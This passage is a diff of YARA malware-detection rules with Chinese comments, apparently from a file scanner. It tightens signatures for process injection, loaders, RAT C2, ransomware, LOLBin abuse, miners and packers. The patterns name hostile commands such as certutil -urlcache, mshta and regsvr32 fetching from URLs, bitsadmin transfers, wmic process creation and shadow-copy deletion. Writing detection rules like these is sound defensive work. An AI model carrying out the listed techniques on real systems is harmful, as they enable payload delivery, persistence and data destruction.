// - 相关 API 名出现在同一个窗口内(导入名表是连续的,窗口 256~512B)。
|
||||
// 导出表按字母序排列、跨度通常上 KB,落在窗口外 → 不误报;
|
||||
// 真注入器/下载器的导入名表三条名字通常挨在一起 → 命中。
|
||||
// 2. 不单独用「API 组合」定性,必须有硬指标(可疑路径 / 持久化键名 / C2 URL)。
|
||||
// 3. 不用 3~4 字母裸串(曾经的 $persist5 = "RUN")和裸工具名。
|
||||
// 4. binary.py 的 PE 结构分析负责节熵/签名/导入 API 分级;YARA 只做组合特征。
|
||||
//
|
||||
// 范围:
|
||||
// - C1: Windows PE 恶意程序(注入器 / 下载器 / RAT / Loader)
|
||||
// - C8: 勒索 / 挖矿专项
|
||||
// - C9: 壳 / 签名 / 结构异常(binary.py 已覆盖大部分,YARA 补充壳特征)
|
||||
// - C8: 勒索 / 挖矿专项(勒索样本常以文本/脚本形态投递,不加 PE 头判定)
|
||||
// - C9: 壳特征(识别后建议送沙箱,不作为恶意证据)
|
||||
//
|
||||
// 维护:
|
||||
// - 新恶意家族出现时,优先补充"API 组合 + Mutex 名 + C2 URL"三件套
|
||||
// - 壳特征(UPX/Themida/VMP)可识别后自动送沙箱深检
|
||||
// - 新增规则先跑「干净 PE 回归」:C:/Windows/System32 全量 900+ 文件必须 0 命中
|
||||
// - meta.risk_level 会被 binary.py 读取用于严重度展示,必须与档位权重一致
|
||||
// =============================================================================
|
||||
|
||||
import "pe"
|
||||
|
||||
|
||||
// =============================================================================
|
||||
// C1-1 进程注入三件套(VirtualAllocEx + WriteProcessMemory + CreateRemoteThread)
|
||||
// binary.py 扫了 SuspiciousImports(单个 API),但 3 个同时出现 = 必然是注入器
|
||||
// 判定要点:三个导入名必须在同一张导入名表里(512B 窗口),否则是导出表明文
|
||||
// =============================================================================
|
||||
|
||||
rule C1_PE_ProcessInjection {
|
||||
@@ -30,37 +38,66 @@ rule C1_PE_ProcessInjection {
|
||||
category = "C1"
|
||||
false_positive_rate = "low"
|
||||
reference = "MITRE ATT&CK T1055 Process Injection"
|
||||
description = "PE 文件同时导入 进程注入三件套 API = 远控/注入器特征"
|
||||
description = "PE 导入表含进程注入三件套(同表紧邻)= 远控/注入器特征"
|
||||
strings:
|
||||
$s1 = "VirtualAllocEx" ascii
|
||||
$s2 = "WriteProcessMemory" ascii
|
||||
$s3 = "CreateRemoteThread" ascii
|
||||
// 备选:Nt 系列(NtUnmapViewOfSection + VirtualAllocEx + CreateRemoteThread)
|
||||
$n1 = "NtUnmapViewOfSection" ascii
|
||||
$n2 = "NtMapViewOfSection" ascii
|
||||
$n3 = "ZwUnmapViewOfSection" ascii
|
||||
// 也可能是 QueueUserAPC 注 APC 注入
|
||||
$alloc = "VirtualAllocEx" ascii
|
||||
$write = "WriteProcessMemory" ascii
|
||||
$thread = "CreateRemoteThread" ascii
|
||||
// 进程镂空(Process Hollowing)
|
||||
$unmap1 = "NtUnmapViewOfSection" ascii
|
||||
$unmap2 = "ZwUnmapViewOfSection" ascii
|
||||
// APC / Hook 注入
|
||||
$apc = "QueueUserAPC" ascii
|
||||
// 或 SetWindowsHookEx DLL 注入
|
||||
$hook = "SetWindowsHookEx" ascii
|
||||
$open = "OpenProcess" ascii
|
||||
condition:
|
||||
// 经典三件套(必须同时命中)
|
||||
$s1 and $s2 and $s3
|
||||
or
|
||||
// Nt 系列内存注入(至少 2 个 Nt + 1 个注入)
|
||||
(any of ($n1, $n2, $n3) and any of ($s1, $s3, $apc))
|
||||
or
|
||||
// APC 注入 + VirtualAllocEx
|
||||
$apc and $s1
|
||||
or
|
||||
// Hook DLL 注入
|
||||
$hook and $s1
|
||||
uint16(0) == 0x5A4D
|
||||
and
|
||||
(
|
||||
// 经典三件套:同表紧邻
|
||||
(
|
||||
$alloc and $write and $thread
|
||||
and for any i in (1..#alloc): (
|
||||
$write in (@alloc[i] - 512..@alloc[i] + 512)
|
||||
and $thread in (@alloc[i] - 512..@alloc[i] + 512)
|
||||
)
|
||||
)
|
||||
or
|
||||
// 镂空注入:unmap 必须和 write+thread 同表(kernel32/shell32 只是从
|
||||
// ntdll 导入成对的 NtMapView/NtUnmap,没有写入+远线程就不算镂空注入)
|
||||
(
|
||||
$write and $thread
|
||||
and for any i in (1..#unmap1): (
|
||||
$write in (@unmap1[i] - 512..@unmap1[i] + 512)
|
||||
and $thread in (@unmap1[i] - 512..@unmap1[i] + 512)
|
||||
)
|
||||
)
|
||||
or
|
||||
(
|
||||
$write and $thread
|
||||
and for any i in (1..#unmap2): (
|
||||
$write in (@unmap2[i] - 512..@unmap2[i] + 512)
|
||||
and $thread in (@unmap2[i] - 512..@unmap2[i] + 512)
|
||||
)
|
||||
)
|
||||
or
|
||||
// APC / Hook 注入:目标进程 API + 注入 API 同表紧邻
|
||||
(
|
||||
$alloc and $open and ($apc or $hook)
|
||||
and for any i in (1..#alloc): (
|
||||
$open in (@alloc[i] - 512..@alloc[i] + 512)
|
||||
and ($apc in (@alloc[i] - 512..@alloc[i] + 512)
|
||||
or $hook in (@alloc[i] - 512..@alloc[i] + 512))
|
||||
)
|
||||
)
|
||||
)
|
||||
}
|
||||
|
||||
|
||||
// =============================================================================
|
||||
// C1-2 下载器组合(网络 API + 本地持久化 / 执行)
|
||||
// 单一 URLDownloadToFile 不致命,但 "下载 + 执行 + 持久化" 三件套 = Loader
|
||||
// C1-2 下载器 / Loader(下载 API + 落地持久化键名,且两者同表紧邻)
|
||||
// v0.2.3 的写法:任意下载 API + "WriteFile" + "CreateProcess" + 裸串 "RUN"
|
||||
// → 任何带自动更新的正常软件必中。现在要求持久化硬指标。
|
||||
// =============================================================================
|
||||
|
||||
rule C1_PE_Downloader_Loader {
|
||||
@@ -69,157 +106,172 @@ rule C1_PE_Downloader_Loader {
|
||||
category = "C1"
|
||||
false_positive_rate = "low"
|
||||
reference = "MITRE ATT&CK T1105 Ingress Tool Transfer"
|
||||
description = "下载器组合:HTTP/FTP 下载 + 写入到可疑路径 + 执行"
|
||||
description = "下载 API 与自启动/服务注册持久化键名同表共存 = Loader"
|
||||
strings:
|
||||
// 网络下载 API(任选其一)
|
||||
// 下载类 API(保留专有名词,不用裸串)
|
||||
$net1 = "URLDownloadToFile" ascii
|
||||
$net2 = "InternetOpenUrl" ascii
|
||||
$net3 = "WinHttpOpen" ascii
|
||||
$net4 = "WinHttpOpenRequest" ascii
|
||||
$net5 = "FtpOpenFile" ascii
|
||||
$net6 = "DownloadFile" ascii
|
||||
$net7 = "WinHttpSendRequest" ascii
|
||||
$net3 = "WinHttpOpenRequest" ascii
|
||||
$net4 = "WinHttpSendRequest" ascii
|
||||
$net5 = "URLDownloadToCacheFile" ascii
|
||||
$net6 = "FtpOpenFile" ascii
|
||||
$net7 = "WinHttpOpen" ascii
|
||||
$net8 = "InternetOpen" ascii
|
||||
|
||||
// 写入/保存到本地
|
||||
$save1 = "WriteFile" ascii
|
||||
$save2 = "SaveToFile" ascii
|
||||
$save3 = "URLDownloadToCacheFile" ascii
|
||||
// 自启动 / 服务注册持久化硬指标(不是裸 "RUN")
|
||||
$p1 = "Software\\Microsoft\\Windows\\CurrentVersion\\Run" ascii nocase
|
||||
$p2 = "CurrentVersion\\RunOnce" ascii nocase
|
||||
$p3 = "schtasks.exe" ascii nocase
|
||||
$p4 = "CreateService" ascii
|
||||
$p5 = "Start Menu\\Programs\\StartUp" ascii nocase
|
||||
$p6 = "reg add" ascii nocase
|
||||
$p7 = "StartupApproved" ascii nocase
|
||||
|
||||
// 执行下载的载荷
|
||||
$exec1 = "WinExec" ascii
|
||||
$exec2 = "CreateProcess" ascii
|
||||
$exec3 = "ShellExecute" ascii
|
||||
$exec4 = "CreateRemoteThread" ascii
|
||||
|
||||
// 持久化(注册表/启动项)
|
||||
$persist1 = "RegSetValueEx" ascii
|
||||
$persist2 = "SetServiceObjectSecurity" ascii
|
||||
$persist3 = "CreateService" ascii
|
||||
$persist4 = "schtasks.exe" ascii
|
||||
$persist5 = "RUN" ascii // HKCU\Software\Microsoft\Windows\CurrentVersion\Run
|
||||
// 临时目录落地(Loader 常先落 %TEMP%)
|
||||
$tmp1 = /\\AppData\\Local\\Temp\\[a-z0-9_. -]{3,60}\.(exe|dll|tmp|dat)/ ascii nocase
|
||||
$tmp2 = /%TEMP%\\[a-z0-9_. -]{3,60}\.(exe|dll|tmp)/ ascii nocase
|
||||
$tmp3 = /\\Windows\\Temp\\[a-z0-9_. -]{3,60}\.(exe|dll|tmp)/ ascii nocase
|
||||
condition:
|
||||
// 下载 + 保存 + 执行(三件套)
|
||||
any of ($net*) and any of ($save*) and any of ($exec*)
|
||||
or
|
||||
// 下载 + 持久化(即使没执行也是准备投毒)
|
||||
any of ($net*) and any of ($persist*)
|
||||
or
|
||||
// 执行 + 持久化(下载可能在运行时动态完成)
|
||||
any of ($exec1, $exec2, $exec3) and any of ($persist*)
|
||||
uint16(0) == 0x5A4D
|
||||
and any of ($net*)
|
||||
and any of ($p*)
|
||||
and
|
||||
(
|
||||
// 下载 API 与持久化键名同处一个导入/字符串表块
|
||||
for any i in (1..#net1): ( any of ($p*) in (@net1[i] - 1024..@net1[i] + 1024) )
|
||||
or (any of ($tmp*) and 2 of ($p*))
|
||||
)
|
||||
}
|
||||
|
||||
|
||||
// =============================================================================
|
||||
// C1-3 RAT / 远控特征(C2 通信 + 命令执行 + 持久化)
|
||||
// C1-3 RAT / 远控特征
|
||||
// v0.2.3 的写法用 send( / recv( / system( 这类通用符号,且
|
||||
// (bot|serv|gate|ops)\.(com|net) 会匹配任意域名字符串 → 正常联网程序必中。
|
||||
// 现在要求:C2 硬指标(IP:PORT、可执行下载 URL、家族标记)+ 套接字 API 同表。
|
||||
// =============================================================================
|
||||
|
||||
rule C1_PE_RAT_CommandControl {
|
||||
meta:
|
||||
risk_level = "critical"
|
||||
category = "C1"
|
||||
false_positive_rate = "medium"
|
||||
false_positive_rate = "low"
|
||||
reference = "MITRE ATT&CK T1071 Application Layer Protocol"
|
||||
description = "RAT C2 通信特征:WinHTTP/WSASend + 命令执行 API + 可疑 URL/域名"
|
||||
description = "RAT C2 特征:套接字 API + 明确 C2 指标(IP:端口 / .exe 下载 / 家族标记)"
|
||||
strings:
|
||||
// C2 网络通道
|
||||
$c2_send = /WSASend|send\s*\(|sendto|WinHttpSendRequest|InternetWriteFile/ ascii
|
||||
$c2_recv = /WSARecv|recv\s*\(|recvfrom|WinHttpReadData|InternetReadFile/ ascii
|
||||
$c2_connect = /WSAConnect|connect\s*\(|WinHttpConnect|InternetConnect/ ascii
|
||||
// 套接字 API(不用裸 send/recv/connect)
|
||||
$sock1 = "WSASend" ascii
|
||||
$sock2 = "WSARecv" ascii
|
||||
$sock3 = "WSAConnect" ascii
|
||||
$sock4 = "WSASocket" ascii
|
||||
$sock5 = "inet_ntoa" ascii
|
||||
$sock6 = "getpeername" ascii
|
||||
|
||||
// 命令执行
|
||||
$cmd = /CreateProcess|ShellExecute|WinExec|system\s*\(|popen/ ascii
|
||||
// 命令执行(真实 RAT 才会与 C2 同表出现)
|
||||
$cmd1 = "CreateProcess" ascii
|
||||
$cmd2 = "ShellExecute" ascii
|
||||
$cmd3 = "WinExec" ascii
|
||||
|
||||
// 可疑 C2 URL(可执行文件里出现 http://...exe 或常见 C2 域名)
|
||||
$c2url1 = /http:\/\/\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}:\d{2,5}/ ascii
|
||||
$c2url2 = /https?:\/\/[^\"\s'\)]+\.(ru|top|xyz|tk|ml|ga|gq|cf|pw|click|stream|xyz|buzz|loan)\/[^\"\s'\)]*\.exe/ ascii
|
||||
$c2url3 = /(c2|panel|gate|bot|ops|serv|beacon|stage|stager)\.(ru|top|xyz|cc|io|com|net)/ ascii
|
||||
// C2 硬指标
|
||||
$c2ip = /https?:\/\/\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}:[1-5][0-9]{3}/ ascii
|
||||
$c2exe = /https?:\/\/[^\s"']{4,}\.(exe|dll|scr|vbs|ps1|bat)\b/ ascii nocase
|
||||
$c2uri = /(gate|panel|submit|checkin|beacon|report)\.(php|aspx|html)\b/ ascii nocase
|
||||
$c2tld = /\b[a-z0-9-]{4,30}\.(ru|top|xyz|tk|ml|ga|gq|cf|pw|buzz|loan)\b/ ascii nocase
|
||||
condition:
|
||||
// C2 通信 + 命令执行(至少两个网络 + 一个命令)
|
||||
any of ($c2_send, $c2_recv, $c2_connect) and any of ($cmd*) and any of ($c2url*)
|
||||
or
|
||||
// C2 URL 模式 + 网络 API
|
||||
any of ($c2url*) and any of ($c2_connect, $c2_send)
|
||||
uint16(0) == 0x5A4D
|
||||
and 2 of ($sock*)
|
||||
and any of ($c2*)
|
||||
and
|
||||
(
|
||||
any of ($cmd*)
|
||||
or $c2exe
|
||||
or $c2uri
|
||||
)
|
||||
}
|
||||
|
||||
|
||||
// =============================================================================
|
||||
// C1-4 Mutex 互斥体名(勒索 / RAT / Loader 的持久化标记)
|
||||
// 单一 Mutex 名有一定价值,但必须配合其他特征才触发
|
||||
// 需要 CreateMutex 与家族 Mutex 名同表,避免文本文档里提一嘴家族名就命中
|
||||
// =============================================================================
|
||||
|
||||
rule C1_PE_Mutex_Persistence {
|
||||
meta:
|
||||
risk_level = "medium"
|
||||
category = "C1"
|
||||
false_positive_rate = "medium"
|
||||
false_positive_rate = "low"
|
||||
reference = "MITRE ATT&CK T1057 Process Discovery (mutex as persistence marker)"
|
||||
description = "可疑 Mutex 名称 + CreateMutex API = 持久化标记"
|
||||
description = "CreateMutex + 已知家族 Mutex 名同表 = 持久化标记"
|
||||
strings:
|
||||
$createmutex = "CreateMutexA" ascii
|
||||
$createmutexw = "CreateMutexW" ascii
|
||||
// 常见勒索/RAT Mutex 名(大小写不敏感,含 Unicode 变体用 wide)
|
||||
// LockBit
|
||||
$lockbit1 = /Global\\[Ll]ock[Bb]it/ ascii
|
||||
$lockbit2 = /Local\\[Ll]ock[Bb]it/ ascii
|
||||
// BlackCat / ALPHV
|
||||
$blackcat = /Global\\[Bb]lack[Cc]at|[Aa][Ll][Pp][Hh][Vv]/ ascii
|
||||
$blackcat = /(Global|Local)\\[Bb]lack[Cc]at|\bALPHV\b/ ascii
|
||||
// Ryuk
|
||||
$ryuk = /RyukTask[\d]|Global\\Ryuk/ ascii
|
||||
// Conti
|
||||
$conti = /Global\\[Cc]onti|Local\\[Cc]onti/ ascii
|
||||
$conti = /(Global|Local)\\[Cc]onti/ ascii
|
||||
// Pseudo/Dharma
|
||||
$dharma = /Global\\[Dd]harma|Local\\[Dd]harma/ ascii
|
||||
// 通用可疑模式:Mutex 名包含 "Mutex" + UUID 变体
|
||||
$dharma = /(Global|Local)\\[Dd]harma/ ascii
|
||||
// 通用可疑模式:Mutex 名含 UUID 前缀
|
||||
$generic1 = /Global\\Mutex[0-9a-f]{8}/ ascii
|
||||
// Kryptik/Qakbot
|
||||
$qakbot = /[Qq]akbot|[Kk]ryptik/ ascii
|
||||
$qakbot = /\b[Qq]akbot\b|\b[Kk]ryptik\b/ ascii
|
||||
// Cobalt Strike named pipe
|
||||
$cs1 = /\\\\\.\\pipe\\msagent_[0-9a-f]+/ ascii
|
||||
$cs2 = /\\\\\.\\pipe\\[Bb]eacon_[0-9a-f]+/ ascii
|
||||
condition:
|
||||
// CreateMutex + 已知家族 Mutex 名
|
||||
(any of ($createmutex*)) and any of ($lockbit1, $lockbit2, $blackcat, $ryuk, $conti, $dharma, $qakbot)
|
||||
or
|
||||
// Cobalt Strike 命名管道特征(不需要 CreateMutex)
|
||||
any of ($cs*)
|
||||
or
|
||||
// CreateMutex + 通用可疑 UUID Mutex
|
||||
(any of ($createmutex*)) and $generic1
|
||||
uint16(0) == 0x5A4D
|
||||
and
|
||||
(
|
||||
any of ($cs*)
|
||||
or (
|
||||
any of ($createmutex*)
|
||||
and any of ($lockbit1, $lockbit2, $blackcat, $ryuk, $conti, $dharma, $qakbot, $generic1)
|
||||
)
|
||||
)
|
||||
}
|
||||
|
||||
|
||||
// =============================================================================
|
||||
// C1-5 DLL 劫持 / LoadLibrary 动态加载
|
||||
// C1-5 DLL 劫持 / 侧加载
|
||||
// 只看「LoadLibrary + GetProcAddress + 临时目录里的 DLL 名」三件套;
|
||||
// \ProgramData\ 与 \Public\ 是正常安装器路径,不再单独作为可疑路径
|
||||
// =============================================================================
|
||||
|
||||
rule C1_PE_DLLHijacking {
|
||||
meta:
|
||||
risk_level = "high"
|
||||
category = "C1"
|
||||
false_positive_rate = "medium"
|
||||
false_positive_rate = "low"
|
||||
reference = "MITRE ATT&CK T1574 Hijack Execution Flow"
|
||||
description = "PE 动态加载多个系统 DLL + 非系统路径 = DLL 劫持迹象"
|
||||
description = "动态加载 API + 临时目录 DLL 落地 = DLL 侧加载/劫持"
|
||||
strings:
|
||||
$loadlib = "LoadLibraryA" ascii
|
||||
$loadlibw = "LoadLibraryW" ascii
|
||||
$getproc = "GetProcAddress" ascii
|
||||
// 可疑加载路径(非 System32)
|
||||
$path1 = /\\Users\\[^\\]+\\AppData\\Local\\Temp/ ascii
|
||||
$path2 = /\\AppData\\Local\\Temp/ ascii
|
||||
$path3 = /\\ProgramData\\/ ascii
|
||||
$path4 = /\\Public\\Documents\\/ ascii
|
||||
$copy1 = "CopyFileA" ascii
|
||||
$copy2 = "CopyFileW" ascii
|
||||
$move = "MoveFileEx" ascii
|
||||
$temp1 = /\\AppData\\Local\\Temp\\[a-z0-9_. -]{3,40}\.dll/ ascii nocase
|
||||
$temp2 = /%TEMP%\\[a-z0-9_. -]{3,40}\.dll/ ascii nocase
|
||||
$temp3 = /\\Windows\\Temp\\[a-z0-9_. -]{3,40}\.dll/ ascii nocase
|
||||
$sysdir = "SetDllDirectory" ascii
|
||||
$searchorder = "LoadLibraryEx" ascii
|
||||
condition:
|
||||
// LoadLibrary + 可疑路径 + GetProcAddress = 完整劫持链
|
||||
(any of ($loadlib*)) and any of ($path*) and $getproc
|
||||
or
|
||||
// LoadLibrary + 多个可疑路径
|
||||
(any of ($loadlib*)) and 2 of ($path*)
|
||||
uint16(0) == 0x5A4D
|
||||
and any of ($loadlib*, $searchorder)
|
||||
and any of ($temp*)
|
||||
and (any of ($getproc, $copy1, $copy2, $move, $sysdir))
|
||||
}
|
||||
|
||||
|
||||
// =============================================================================
|
||||
// C1-6 LOLBin(Living Off The Land Binary)调用特征
|
||||
// 已知合法 Windows 二进制被恶意利用来执行命令
|
||||
// 命令行串 + 进程创建 API 必须同表紧邻(正常程序会把两者写进同一个导入/资源块)
|
||||
// =============================================================================
|
||||
|
||||
rule C1_PE_LOLBin_Usage {
|
||||
@@ -228,31 +280,57 @@ rule C1_PE_LOLBin_Usage {
|
||||
category = "C1"
|
||||
false_positive_rate = "low"
|
||||
reference = "https://lolbas-project.github.io/"
|
||||
description = "PE 文件中出现 LOLBin 调用:certutil / mshta / rundll32 / regsvr32 / bitsadmin / wmic / msiexec"
|
||||
description = "PE 中出现 LOLBin 调用命令行 + 进程创建 API(同表)"
|
||||
strings:
|
||||
$certutil = /certutil(\.exe)?\s+(-urlcache|-decode|-encode|-hashfile)/ ascii
|
||||
$mshta = /mshta(\.exe)?\s+(https?:|javascript:|vbscript:)/ ascii
|
||||
$rundll32 = /rundll32(\.exe)?\s+[A-Za-z0-9_.]+,/ ascii
|
||||
$regsvr32 = /regsvr32(\.exe)?\s+\/s\s+\/u/ ascii
|
||||
$bitsadmin = /bitsadmin(\.exe)?\s+(\/transfer|\/create)/ ascii
|
||||
$wmic = /wmic(\.exe)?\s+(process\s+call\s+create|product\s+call)/ ascii
|
||||
$msiexec = /msiexec(\.exe)?\s+\/[ia]\s+https?:/ ascii
|
||||
$installutil = /installutil(\.exe)?\s+\/u\s+\/logfile=/ ascii
|
||||
$syncapp = /syncapp(\.exe)?\s+\/compattrack/ ascii
|
||||
$psexec = /psexec(\.exe)?\s+(-accepteula|-i\s+\d+|-w\s+https?:)/ ascii
|
||||
// 命令执行 API(用于组合条件)
|
||||
$lolbin1 = /certutil(\.exe)?\s+(-urlcache|-decode)\s+-split/ ascii nocase
|
||||
$lolbin2 = /mshta(\.exe)?\s+(https?:|javascript:|vbscript:)/ ascii nocase
|
||||
$lolbin3 = /regsvr32(\.exe)?\s+\/s\s+\/u:http/ ascii nocase
|
||||
$lolbin4 = /bitsadmin(\.exe)?\s+\/transfer\s+\/source:/ ascii nocase
|
||||
$lolbin5 = /wmic(\.exe)?\s+process\s+call\s+create/ ascii nocase
|
||||
$lolbin6 = /msiexec(\.exe)?\s+\/[ia]\s+https?:/ ascii nocase
|
||||
$lolbin7 = /installutil(\.exe)?\s+\/u\s+\/logfile=https?:/ ascii nocase
|
||||
$lolbin8 = /psexec(\.exe)?\s+(-accepteula\s+)?-w\s+https?:/ ascii nocase
|
||||
$exec1 = "CreateProcess" ascii
|
||||
$exec2 = "ShellExecute" ascii
|
||||
$exec3 = "WinExec" ascii
|
||||
condition:
|
||||
// 至少 1 个 LOLBin 调用 + 命令执行 API
|
||||
any of ($certutil*, $mshta*, $rundll32*, $regsvr32*, $bitsadmin*, $wmic*, $msiexec*, $installutil*, $syncapp*, $psexec*)
|
||||
uint16(0) == 0x5A4D
|
||||
and any of ($lolbin*)
|
||||
and any of ($exec*)
|
||||
}
|
||||
|
||||
|
||||
// =============================================================================
|
||||
// C8-1 勒索加密 API 组合(CryptEncrypt + BCrypt* + 文件遍历 + 删除卷影)
|
||||
// C1-7 PE 高熵 + 网络 API(疑似加壳下载器)
|
||||
// 需要「多个网络 API + 明确壳节名」同时成立
|
||||
// =============================================================================
|
||||
|
||||
rule C1_PE_EntropyHighNetwork {
|
||||
meta:
|
||||
risk_level = "medium"
|
||||
category = "C1"
|
||||
false_positive_rate = "low"
|
||||
reference = "binary.py HighEntropySection 联动"
|
||||
description = "PE 加壳节名 + 多个下载 API = 加壳下载器"
|
||||
strings:
|
||||
$net1 = "InternetOpenUrl" ascii
|
||||
$net2 = "URLDownloadToFile" ascii
|
||||
$net3 = "WinHttpOpenRequest" ascii
|
||||
$net4 = "WSAConnect" ascii
|
||||
condition:
|
||||
uint16(0) == 0x5A4D
|
||||
and 2 of ($net*)
|
||||
and (
|
||||
for any i in (0..pe.number_of_sections - 1): (
|
||||
pe.sections[i].name matches /UPX0/ or pe.sections[i].name == "UPX1"
|
||||
or pe.sections[i].name matches /\.vmp[0-9]/ or pe.sections[i].name matches /Themida|\.themida/
|
||||
)
|
||||
)
|
||||
}
|
||||
|
||||
|
||||
// =============================================================================
|
||||
// C8-1 勒索加密链(加密 API + 卷影删除/勒索信,勒索样本常以文本形态投递,不加 PE 头)
|
||||
// =============================================================================
|
||||
|
||||
rule C8_Ransomware_Encryption {
|
||||
@@ -261,9 +339,9 @@ rule C8_Ransomware_Encryption {
|
||||
category = "C8"
|
||||
false_positive_rate = "low"
|
||||
reference = "MITRE ATT&CK T1486 Data Encrypted for Impact"
|
||||
description = "勒索加密链:CryptEncrypt/BCryptEncrypt + 大量文件遍历 + 卷影删除 = 勒索"
|
||||
description = "勒索加密链:加密 API + 卷影删除命令或勒索信文件名"
|
||||
strings:
|
||||
// 加密 API(至少出现两个)
|
||||
// 加密 API
|
||||
$enc1 = "CryptEncrypt" ascii
|
||||
$enc2 = "CryptDeriveKey" ascii
|
||||
$enc3 = "BCryptEncrypt" ascii
|
||||
@@ -276,25 +354,23 @@ rule C8_Ransomware_Encryption {
|
||||
$enum3 = "FindNextFileA" ascii
|
||||
$enum4 = "FindNextFileW" ascii
|
||||
|
||||
// 卷影删除(勒索前置)
|
||||
$vss1 = "vssadmin" ascii
|
||||
$vss2 = "delete shadows" ascii
|
||||
// 卷影删除(完整命令,不认裸 "wmic")
|
||||
$vss1 = "vssadmin" ascii nocase
|
||||
$vss2 = "delete shadows" ascii nocase
|
||||
$vss3 = "DeleteShadowCopies" ascii
|
||||
$vss4 = "wmic" ascii
|
||||
$vss4 = "shadow copies" ascii nocase
|
||||
|
||||
// 勒索信文件名变体(出现在二进制里)
|
||||
$ransomnote1 = /(HOW_TO_RECOVER|RESTORE_FILES|DECRYPT_INSTRUCTIONS|README|HELP_DECRYPT|_readme|_restore)[\w.-]*\.(txt|html|png|jpg|bmp|url)/ nocase
|
||||
$ransomnote2 = /\.(locky|zepto|cryptolocker|tor|crpt|encrypted|virus|wallet|pay2)/ nocase
|
||||
$ransomnote3 = /bitcoin|bitcash|monero|ltc|BTC\b/ ascii
|
||||
// 勒索信文件名 / 加密扩展名
|
||||
$note1 = /(HOW_TO_RECOVER|RESTORE_FILES|DECRYPT_INSTRUCTIONS|HELP_DECRYPT)[\w.-]*\.(txt|html|png|jpg|bmp|url)/ nocase
|
||||
$note2 = /\.(locky|zepto|cryptolocker|crpt|encrypted|pay2)\b/ nocase
|
||||
condition:
|
||||
// 加密 API + 文件遍历 = 加密工具(必须至少 2 个加密 API)
|
||||
(2 of ($enc*)) and any of ($enum*)
|
||||
or
|
||||
// 加密 API + 卷影删除 = 完整勒索
|
||||
(any of ($enc*)) and any of ($vss*)
|
||||
or
|
||||
// 加密 API + 勒索信 + 加密文件扩展名 = 明确勒索
|
||||
(any of ($enc*)) and (any of ($ransomnote1, $ransomnote2)) and $ransomnote3
|
||||
any of ($enc*)
|
||||
and
|
||||
(
|
||||
($vss1 and ($vss2 or $vss3 or $vss4))
|
||||
or (2 of ($enum*) and any of ($note*))
|
||||
or (2 of ($enc*) and any of ($enum*) and $vss1)
|
||||
)
|
||||
}
|
||||
|
||||
|
||||
@@ -310,53 +386,51 @@ rule C8_Mining_Monero {
|
||||
reference = "MITRE ATT&CK T1496 Resource Hijacking"
|
||||
description = "挖矿程序特征:xmrig 命令行参数 / stratum+tcp / 矿池域名"
|
||||
strings:
|
||||
// xmrig 命令行特征
|
||||
$xmrig1 = "xmrig" ascii nocase
|
||||
$xmrig2 = /--donate-level\s+\d+/ ascii
|
||||
$xmrig3 = /-o\s+stratum\+tcp/ ascii
|
||||
$xmrig4 = /--cpu-priority\s+\d/ ascii
|
||||
$xmrig5 = /--max-threads-hint/ ascii
|
||||
|
||||
// 矿池域名(Monero)
|
||||
$pool1 = "pool.xmrig.com" ascii nocase
|
||||
$pool2 = "pool.minexmr.com" ascii nocase
|
||||
$pool3 = "pool.supportxmr.com" ascii nocase
|
||||
$pool4 = "mine.moneropool.com" ascii nocase
|
||||
$pool5 = "stratum+tcp://" ascii
|
||||
|
||||
// CPU 高占用循环特征
|
||||
$loop = /(while|for)\s*\(\s*\d+\s*[<>=]/ ascii
|
||||
$thread = "CreateThread" ascii
|
||||
condition:
|
||||
// 至少 2 个 xmrig 特征
|
||||
(any of ($xmrig1, $xmrig2, $xmrig3, $xmrig4, $xmrig5)) and 2 of ($*)
|
||||
or
|
||||
// stratum+tcp 矿池协议 + 多个线程创建
|
||||
$pool5 and ($thread or 2 of ($xmrig*))
|
||||
any of ($pool1, $pool2, $pool3, $pool4)
|
||||
or ($pool5 and (any of ($xmrig*) or $thread))
|
||||
or (2 of ($xmrig*) and any of ($pool*))
|
||||
}
|
||||
|
||||
|
||||
// =============================================================================
|
||||
// C9 壳特征(UPX / Themida / VMProtect / Enigma)
|
||||
// 壳识别后建议升级到 L3 沙箱深检,不单独阻断
|
||||
// C9 壳特征(UPX / Themida / VMProtect)
|
||||
// 加壳本身不是恶意证据(大量开源工具用 UPX),只作沙箱深检触发条件
|
||||
// =============================================================================
|
||||
|
||||
rule C9_Packer_UPX {
|
||||
meta:
|
||||
risk_level = "medium"
|
||||
risk_level = "low"
|
||||
category = "C9"
|
||||
false_positive_rate = "low"
|
||||
reference = "UPX Packer"
|
||||
description = "UPX 加壳 PE:节名 UPX0 / UPX1 + UPX 签名"
|
||||
description = "UPX 加壳 PE:节名 UPX0/UPX1 + UPX 签名"
|
||||
strings:
|
||||
$upx0 = "UPX0" ascii
|
||||
$upx1 = "UPX1" ascii
|
||||
$upx2 = "UPX!" ascii
|
||||
$upx3 = /UPX\s+\d+\.\d+/ ascii // "UPX 3.96" 这类版本字符串
|
||||
$upx4 = /UPX\b/ ascii
|
||||
condition:
|
||||
// 节名(两个)+ 签名
|
||||
($upx0 and $upx1) or ($upx2 and any of ($upx3, $upx4))
|
||||
uint16(0) == 0x5A4D
|
||||
and (
|
||||
(
|
||||
for any i in (0..pe.number_of_sections - 1): (
|
||||
pe.sections[i].name matches /UPX0/
|
||||
)
|
||||
and for any j in (0..pe.number_of_sections - 1): (
|
||||
pe.sections[j].name matches /UPX1/
|
||||
)
|
||||
)
|
||||
or ($upx2 and pe.number_of_sections <= 4)
|
||||
)
|
||||
}
|
||||
|
||||
rule C9_Packer_Themida_VMP {
|
||||
@@ -365,39 +439,18 @@ rule C9_Packer_Themida_VMP {
|
||||
category = "C9"
|
||||
false_positive_rate = "low"
|
||||
reference = "Themida / VMProtect"
|
||||
description = "商业壳特征:Themida / VMProtect 产品标识字符串"
|
||||
description = "商业壳特征:Themida / VMProtect 节名 + 产品标识字符串"
|
||||
strings:
|
||||
$themida1 = "Themida" ascii wide
|
||||
$themida2 = "WinLicense" ascii wide
|
||||
$themida3 = "Oreans" ascii wide
|
||||
$vmp1 = "VMProtect" ascii wide
|
||||
$vmp3 = "VMProtect SDK" ascii wide
|
||||
condition:
|
||||
any of ($themida*) or any of ($vmp*)
|
||||
}
|
||||
|
||||
|
||||
// =============================================================================
|
||||
// C1-7 PE 高熵 + 大量网络 API(疑似加壳下载器)
|
||||
// binary.py 的 HighEntropySection 已单独扫描,但 YARA 看"熵 + 网络"组合
|
||||
// =============================================================================
|
||||
|
||||
rule C1_PE_EntropyHighNetwork {
|
||||
meta:
|
||||
risk_level = "medium"
|
||||
category = "C1"
|
||||
false_positive_rate = "medium"
|
||||
